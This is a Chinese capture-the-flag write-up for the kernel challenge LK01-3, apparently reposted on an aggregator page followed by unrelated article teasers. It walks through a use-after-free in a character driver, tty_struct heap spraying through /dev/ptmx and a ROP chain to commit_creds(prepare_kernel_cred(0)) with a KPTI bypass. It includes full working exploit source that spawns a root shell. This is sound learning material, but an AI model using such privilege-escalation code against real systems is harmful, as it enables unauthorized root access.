通过复用TTY结构体实现提权利用

前言

UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。

LK01-3

结合题目来看UAF漏洞

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

open模块

在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf

#define BUFFER_SIZE 0x400char *g_buf = NULL;static int module_open(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_open called\n");g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);if (!g_buf) {printk(KERN_INFO "kmalloc failed");return -ENOMEM;}return 0;
}

read模块

在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中

static ssize_t module_read(struct file *file,char __user *buf, size_t count,loff_t *f_pos)
{printk(KERN_INFO "module_read called\n");if (count > BUFFER_SIZE) {printk(KERN_INFO "invalid buffer size\n");return -EINVAL;}if (copy_to_user(buf, g_buf, count)) {printk(KERN_INFO "copy_to_user failed\n");return -EINVAL;}return count;
}

write模块

在写模块中,会从用户空间拷贝400字节数据到内核堆空间中

static ssize_t module_write(struct file *file,const char __user *buf, size_t count,loff_t *f_pos)
{printk(KERN_INFO "module_write called\n");if (count > BUFFER_SIZE) {printk(KERN_INFO "invalid buffer size\n");return -EINVAL;}if (copy_from_user(g_buf, buf, count)) {printk(KERN_INFO "copy_from_user failed\n");return -EINVAL;}return count;
}

close模块

close模块会释放g_buf指向的堆块空间

static int module_close(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_close called\n");kfree(g_buf);return 0;
}

漏洞分析

在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

图片

image-20230911210004615

当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。

...int fd1 = open("/dev/holstein", O_RDWR);int fd2 = open("/dev/holstein", O_RDWR);close(fd1);for (int i = 0; i < 50; i++){spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1){printf("error!\n");exit(-1);}}
...

这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。

在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。

run.sh

#!/bin/sh
qemu-system-x86_64 \-m 64M \-nographic \-kernel bzImage \-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \-no-reboot \-cpu qemu64,+smap,+smep \-smp 1 \-monitor /dev/null \-initrd initramfs.cpio.gz \-net nic,model=virtio \-net user \-s

exp

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; 
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset  0x638e9bunsigned long user_cs, user_sp, user_ss, user_rflags;void backdoor()
{printf("****getshell****");system("id");system("/bin/sh");
}void save_user_land()
{__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_sp, rsp;""mov user_ss, ss;""pushf;""pop user_rflags;"".att_syntax;");puts("[*] Saved userland registers");printf("[#] cs: 0x%lx \n", user_cs);printf("[#] ss: 0x%lx \n", user_ss);printf("[#] rsp: 0x%lx \n", user_sp);printf("[#] rflags: 0x%lx \n", user_rflags);printf("[#] backdoor: 0x%lx \n\n", backdoor);
}int main() {save_user_land();int fd1 = open("/dev/holstein", O_RDWR);int fd2 = open("/dev/holstein", O_RDWR);close(fd1);for (int i = 0; i < 50; i++){spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1){printf("error!\n");exit(-1);}}char buf[0x400];read(fd2, buf, 0x400);unsigned long *p = (unsigned long *)&buf;//for (unsigned int i = 0; i < 0x80; i++)// printf("[%x]:addr:0x%lx\n",i,p[i]);unsigned long kernel_addr = p[3];unsigned long heap_addr = p[7];printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);unsigned long kernel_base = kernel_addr - 0xc39c60;unsigned long g_buf = heap_addr - 0x38;printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);*(unsigned long *)&buf[0x18] = g_buf;p[0xc] = push_rdx_pop_rsp_offset + kernel_base;//for (unsigned long i = 0xd; i < 0x80; i++)// p[i] = i;p[0x21] = pop_rdi_ret_offset + kernel_base;p[0x22] = 0;p[0x23] = prepare_kernel_cred_offset + kernel_base;p[0x24] = pop_rcx_ret_offset + kernel_base;p[0x25] = 0;p[0x26] = mov_rdi_rax_offset + kernel_base;p[0x27] = commit_creds_offset + kernel_base;p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;p[0x29] = 0;p[0x2a] = 0;p[0x2b] = (unsigned long)backdoor;p[0x2c] = user_cs;p[0x2d] = user_rflags;p[0x2e] = user_sp;p[0x2f] = user_ss;  write(fd2, buf, 0x400);for (int i = 0; i < 50; i++)ioctl(spray[i], 0, g_buf+0x100); }

参考链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/115123.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软考证书可以评职称吗?怎么评?

软考是可以帮助评职称的&#xff0c;取得软考证书&#xff0c;就具备评职称的相应资格。 通过软考获得证书的人员&#xff0c;表明其已具备从事相应专业岗位工作的水平和能力&#xff0c;用人单位可根据工作需要从获得证书的人员中择优聘任相应专业技术职务&#xff08;技术员…

基于springboot地方废物回收机构管理系统springboot11

大家好✌&#xff01;我是CZ淡陌。一名专注以理论为基础实战为主的技术博主&#xff0c;将再这里为大家分享优质的实战项目&#xff0c;本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路…

Amazon Lightsail——兼具亚马逊云科技的强大功能与 VPS 的简易性

对于开发者而言&#xff0c;当你想构建系统架构时&#xff0c;你的面前就出现了两种选择&#xff0c;选择一&#xff1a;花时间去亲手挑选每个亚马逊云科技组件&#xff08;云服务器、存储、IP 地址等&#xff09;&#xff0c;然后自己组装起来&#xff1b;选择二是只需要一个预…

软考复习 -- 计算机网络

1 网络互连设备 物理层&#xff1a;中继器和集线器&#xff08;多路中继器&#xff09;数据链路层&#xff1a;网桥和交换机&#xff08;多端口网桥&#xff09;网络层&#xff1a;路由器应用层&#xff1a;网关 2 广播域和冲突域 3 协议簇 4 网际层协议 4 TCP和UDP 4.1 TC…

浙江大学2024年研招简章总纲领公布:MBAMPAMEM报考划重点版

2024年研究生招生录取工作终于走到关键的一步&#xff0c;9月24-27日考研网上预报名时间段开启前&#xff0c;浙大公布2024年研究生招生简章总纲领&#xff0c;立足浙江的杭州达立易考教育带领大家一睹为快&#xff0c;特别为MBA/MPA/MEM等管理类硕士考生划重点&#xff01; 一…

2023数A题——WLAN网络信道接入机制建模

A题——WLAN网络信道接入机制建模 思路&#xff1a;该题主要考察的WLAN下退避机制建模仿真。 资料获取 问题1&#xff1a; 假设AP发送包的载荷长度为1500Bytes&#xff08;1Bytes 8bits&#xff09;&#xff0c;PHY头时长为13.6μs&#xff0c;MAC头为30Bytes&#xff0c;MA…

Linux,计算机网络,数据库

Linux&#xff0c;计算机网络&#xff0c;数据库&#xff0c;操作系统 一、Linux1、linux查看进程2、linux基本命令3、top命令、查看磁盘 二、计算机网络1、HTTP的报文段请求 Repuest响应 Response 2、HTTP用的什么连接3、TCP的三次握手与四次挥手三次握手四次挥手 4、在浏览器…

C#中的方法

引言 在C#编程语言中&#xff0c;方法是一种封装了一系列可执行代码的重要构建块。通过方法&#xff0c;我们可以将代码逻辑进行模块化和复用&#xff0c;提高代码的可读性和可维护性。本文将深入探讨C#中的方法的定义、参数传递、返回值、重载、递归等方面的知识&#xff0c;…

怎样使用 NFTScan Solana API 快速创建 NFT 应用程序?

之前&#xff0c;Solana 凭借其超高的性能和低廉的费用&#xff0c;已然成为 NFT 项目最青睐的公链之一&#xff0c;众多知名 NFT 项目如 DeGods、Okay Bears、Degenerate Ape Academy 等都选择在 Solana 上发行。意味着 Solana 链上每天都会产生海量的 NFT 交易数据&#xff0…

轻量服务器是不是vps ?和vps有什么区别

​  轻量型服务器是介于云服务器和共享型服务器之间的一种解决方案。它提供较为独立的资源分配&#xff0c;但规模较小&#xff0c;适用于中小型网站和应用程序。轻量型服务器的硬件资源来源于大型的公有云集群的虚拟化技术。轻量型服务器的性能和带宽可能会稍逊于云服务器。…

查看吾托帮88.47的docker里的tomcat日志

步骤如下 &#xff08;1&#xff09;ssh &#xff08;2&#xff09;ssh root192.168.88.47 等待输入密码&#xff1a;fytest &#xff08;3&#xff09;pwd #注释&#xff1a;输出/root &#xff08;4&#xff09;docker exec -it wetoband_deploy /bin/bash #注释&#xff1…

远程控制桌面软件是否支持远程防护墙配置

远程控制桌面软件是一种便捷的工具&#xff0c;它能够帮助用户在远程访问和操作计算机桌面。然而&#xff0c;远程控制软件是否支持远程防火墙配置这个问题的答案并不是简单的是或否。下面将从软件设计的角度和实际使用情况的角度来解释这个问题。 首先&#xff0c;让我们了解一…